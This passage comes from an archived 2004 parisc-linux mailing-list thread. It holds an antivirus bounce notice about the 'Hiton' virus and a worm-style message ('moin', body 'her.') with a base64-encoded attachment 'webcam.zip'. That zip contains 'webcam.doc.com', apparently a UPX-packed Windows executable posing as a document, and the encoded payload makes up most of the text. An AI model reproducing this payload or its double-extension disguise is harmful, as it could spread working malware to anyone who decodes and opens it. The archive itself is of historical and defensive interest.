UmVnT3BlbktleUEAAABMb2FkSWNvbkEAAOAAAAwAAAAtMAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABIAAA=

------------uEFUERddNUknNNKd--



From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ANTIGEN_MSGATE-A <ANTIGEN_MSGATE-A@orange.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Antigen found VIRUS= Hiton. (Norman, NAI,
	CA(InoculateIT)) virus
Date: Sat, 20 Mar 2004 06:16:33 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <900604BB266B214FBF66899AEC5B886C03DD2B30@msgate-a.intra.mobilix.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416623286 7066 80.91.229.3 (22 Nov 2014 02:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:06 +0000 (UTC)
To: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
Original-X-From: ANTIGEN_MSGATE-A@orange.dk  Fri Mar 19 22:17:54 2004
Return-Path: <ANTIGEN_MSGATE-A@orange.dk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from orbix.orange.dk (orbix.orange.dk [212.97.203.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F7344839
	for <parisc-linux@parisc-linux.org>;
	Fri, 19 Mar 2004 22:17:53 -0700 (MST)
Original-Received: from msgate-b.intra.mobilix.dk (msgate-b.intra.mobilix.dk
	[172.16.3.107])
	by orbix.orange.dk (8.11.7p1+Sun/8.11.7) with ESMTP id i2K5Hqm29723
	for <parisc-linux@parisc-linux.org>;
	Sat, 20 Mar 2004 06:17:52 +0100 (CET)
Original-Received: by msgate-b.intra.mobilix.dk with Internet Mail Service (5.5.2657.72)
	id <FTHN8RA1>; Sat, 20 Mar 2004 06:15:15 +0100
X-Mailer: Internet Mail Service (5.5.2657.72)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 05:17:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21137

Antigen for Exchange found misc.folder infected with VIRUS= Hiton.
(Norman,NAI,CA(InoculateIT)) virus.
The file is currently Removed.  The message, "[parisc-linux] hi
parisc-linux", was
sent from parisc-linux-bounces@lists.parisc-linux.org and was discovered in
IMC Queues\Inbound
located at Mobilix AS/IMC_GATE_A/MSGATE-A.
Confidentiality. This communication is intended for the above-named person
and may be confidential and/or legally privileged. Any opinions expressed in
this communication are not necessarily those of the company. If it has come
to you in error you must take no action based on it, nor must you copy or
show it to anyone; please delete/destroy and inform the sender immediately.


From - Thu Nov 08 21:31:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: t@hydrobharat.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] moin
Date: Sat, 20 Mar 2004 11:11:11 +0530
Lines: 470
Approved: news@gmane.org
Message-ID: <20040320054111.8F73F4831@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0005_00005D12.00003887"
X-Trace: ger.gmane.org 1416623286 7068 80.91.229.3 (22 Nov 2014 02:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: t@hydrobharat.org  Fri Mar 19 22:41:16 2004
Return-Path: <t@hydrobharat.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F73F4831
	for <parisc-linux@parisc-linux.org>;
	Fri, 19 Mar 2004 22:41:11 -0700 (MST)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 20 Mar 2004 05:41:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21138

This is a multi-part message in MIME format.

------=_NextPart_000_0005_00005D12.00003887
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

her.

------=_NextPart_000_0005_00005D12.00003887
Content-Type: application/x-zip-compressed;
	name="webcam.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="webcam.zip"

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
